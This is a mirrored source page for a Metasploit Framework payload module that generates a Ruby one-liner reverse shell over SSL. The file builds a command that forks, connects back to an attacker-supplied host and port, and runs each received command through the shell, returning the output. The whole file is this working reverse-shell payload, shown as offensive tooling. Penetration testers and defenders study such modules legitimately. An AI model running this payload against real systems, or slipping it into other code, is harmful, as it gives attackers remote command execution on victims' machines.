CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 185
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
17
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
18
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
19
'License' => MSF_LICENSE,
20
'Platform' => 'unix',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::ReverseTcpSsl,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'ruby',
26
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
27
))
28
register_advanced_options(
29
[
30
OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])
31
]
32
)
33
end
34
35
def generate(_opts = {})
36
vprint_good(command_string)
37
return super + command_string
38
end
39
40
def command_string
41
lhost = datastore['LHOST']
42
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
43
res = "#{datastore['RubyPath']} -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new"
44
res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while"
45
res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
46
return res
47
end
48
end
49
50